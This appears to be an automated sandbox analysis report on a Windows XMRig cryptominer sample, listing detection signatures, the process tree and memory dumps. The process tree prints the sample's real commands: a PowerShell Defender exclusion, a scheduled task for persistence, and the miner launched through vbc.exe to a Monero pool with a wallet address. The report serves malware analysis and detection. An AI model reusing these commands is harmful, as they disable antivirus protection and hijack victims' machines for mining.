Analysis
- max time kernel
90s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
25/12/2022, 10:30
General
- Target file.exe
- Size 938KB
- Sample221225-mjs5zaee4t
- SHA256 4526edce99a91c9414d24578035afe430a94acbbad16ac7f97a4d292dd60bbce
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"3⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/2012-165-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2012-170-0x00000227CA3E0000-0x00000227CA400000-memory.dmp
memory/2012-169-0x00000227CA1B0000-0x00000227CA1D0000-memory.dmp
memory/2012-168-0x00000227CA3E0000-0x00000227CA400000-memory.dmp
memory/2012-167-0x00000227CA1B0000-0x00000227CA1D0000-memory.dmp
memory/2012-166-0x0000022737D20000-0x0000022737D40000-memory.dmp
memory/2012-164-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2012-163-0x0000022736260000-0x0000022736280000-memory.dmp
memory/2012-162-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2012-161-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2012-159-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4200-142-0x0000000000AD0000-0x0000000000C20000-memory.dmp
memory/4200-140-0x0000000000A80000-0x0000000000AC3000-memory.dmp
memory/4200-134-0x00007FFC08810000-0x00007FFC088AE000-memory.dmp
memory/4200-135-0x00007FFC05930000-0x00007FFC05942000-memory.dmp
memory/4200-151-0x0000000000A80000-0x0000000000AC3000-memory.dmp
memory/4200-150-0x0000000000AD0000-0x0000000000C20000-memory.dmp
memory/4200-152-0x00007FFBEAE00000-0x00007FFBEB8C1000-memory.dmp
memory/4200-136-0x00007FFBEC460000-0x00007FFBEC51D000-memory.dmp
memory/4200-137-0x00007FFC08B50000-0x00007FFC08CF1000-memory.dmp
memory/4200-155-0x00007FFBEB8D0000-0x00007FFBEB905000-memory.dmp
memory/4200-156-0x00007FFBE60C0000-0x00007FFBE61C2000-memory.dmp
memory/4200-157-0x00007FFC08DC0000-0x00007FFC08E2B000-memory.dmp
memory/4200-158-0x00007FFC06DE0000-0x00007FFC06E1B000-memory.dmp
memory/4200-145-0x00007FFBEAE00000-0x00007FFBEB8C1000-memory.dmp
memory/4200-144-0x00007FFC08310000-0x00007FFC08337000-memory.dmp
memory/4200-143-0x00007FFBEC310000-0x00007FFBEC45E000-memory.dmp
memory/4200-133-0x00007FFBEC520000-0x00007FFBEC5CA000-memory.dmp
memory/4200-141-0x00007FFC08A50000-0x00007FFC08A7B000-memory.dmp
memory/4200-138-0x00007FFBEAE00000-0x00007FFBEB8C1000-memory.dmp
memory/4200-139-0x0000000000AD0000-0x0000000000C20000-memory.dmp
memory/5048-147-0x000002695B100000-0x000002695B122000-memory.dmp
memory/5048-149-0x00007FFBEAE00000-0x00007FFBEB8C1000-memory.dmp
memory/5048-148-0x00007FFBEAE00000-0x00007FFBEB8C1000-memory.dmp